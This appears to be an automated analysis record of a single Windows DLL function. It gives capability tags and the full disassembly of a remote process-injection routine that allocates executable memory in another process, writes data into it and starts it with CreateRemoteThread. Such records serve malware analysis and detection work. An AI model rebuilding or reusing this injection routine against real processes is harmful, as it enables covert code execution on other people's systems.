Function at 0x1800054b0
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x20], r9
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0xd0
mov rax, qword [0x180023010]
xor rax, rsp
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0x60], 0
mov dword [rsp + 0x78], 0
cmp qword [rsp + 0xe0], 0
je 0x18000550f
cmp qword [rsp + 0xe8], 0
je 0x18000550f
cmp dword [rsp + 0xf0], 0
jne 0x180005514
jmp 0x18000572f
mov rcx, qword [rsp + 0xe8]
call fcn.180004f20
mov dword [rsp + 0x48], eax
cmp dword [rsp + 0x48], 0
jne 0x180005531
jmp 0x18000572f
mov eax, dword [rsp + 0xf0]
mov ecx, dword [rsp + 0x110]
lea eax, [rax + rcx + 0x40]
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, eax
xor edx, edx
mov rcx, qword [rsp + 0xe0]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
jne 0x18000557e
jmp 0x18000572f
mov eax, dword [rsp + 0xf0]
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, qword [rsp + 0xe8]
mov rdx, qword [rsp + 0x40]
mov rcx, qword [rsp + 0xe0]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1800055b5
jmp 0x18000572f
mov eax, dword [rsp + 0x48]
mov rcx, qword [rsp + 0x40]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x70], rax
mov eax, dword [rsp + 0xf0]
mov rcx, qword [rsp + 0x40]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x58], rax
mov eax, dword [rsp + 0x110]
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, qword [rsp + 0x108]
mov rdx, qword [rsp + 0x58]
mov rcx, qword [rsp + 0xe0]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x180005617
jmp 0x18000572f
mov eax, dword [rsp + 0x110]
mov rcx, qword [rsp + 0x58]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x80]
mov rdi, rax
xor eax, eax
mov ecx, 0x40
rep stosb byte [rdi], al
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x38], rax
mov eax, dword [rsp + 0x110]
mov dword [rsp + 0x30], eax
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x28], rax
mov eax, dword [rsp + 0x100]
mov dword [rsp + 0x20], eax
mov r9, qword [rsp + 0x40]
mov r8, qword [rsp + 0xf8]
mov edx, 0x40
lea rcx, [rsp + 0x80]
call fcn.1800051f0
mov dword [rsp + 0x4c], eax
cmp dword [rsp + 0x4c], 0
ja 0x18000569b
jmp 0x18000572f
mov eax, dword [rsp + 0x4c]
mov qword [rsp + 0x20], 0
mov r9d, eax
lea r8, [rsp + 0x80]
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0xe0]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1800056cc
jmp 0x18000572f
mov eax, dword [rsp + 0x50]
mov r8d, eax
mov rdx, qword [rsp + 0x40]
mov rcx, qword [rsp + 0xe0]
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0
mov rax, qword [rsp + 0xf8]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x68]
mov r8d, 0x100000
xor edx, edx
mov rcx, qword [rsp + 0xe0]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rsp + 0x60], rax
xor eax, eax
test eax, eax
jne 0x1800054ef
jmp 0x18000573a
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.1800063b0
add rsp, 0xd0
pop rdi
ret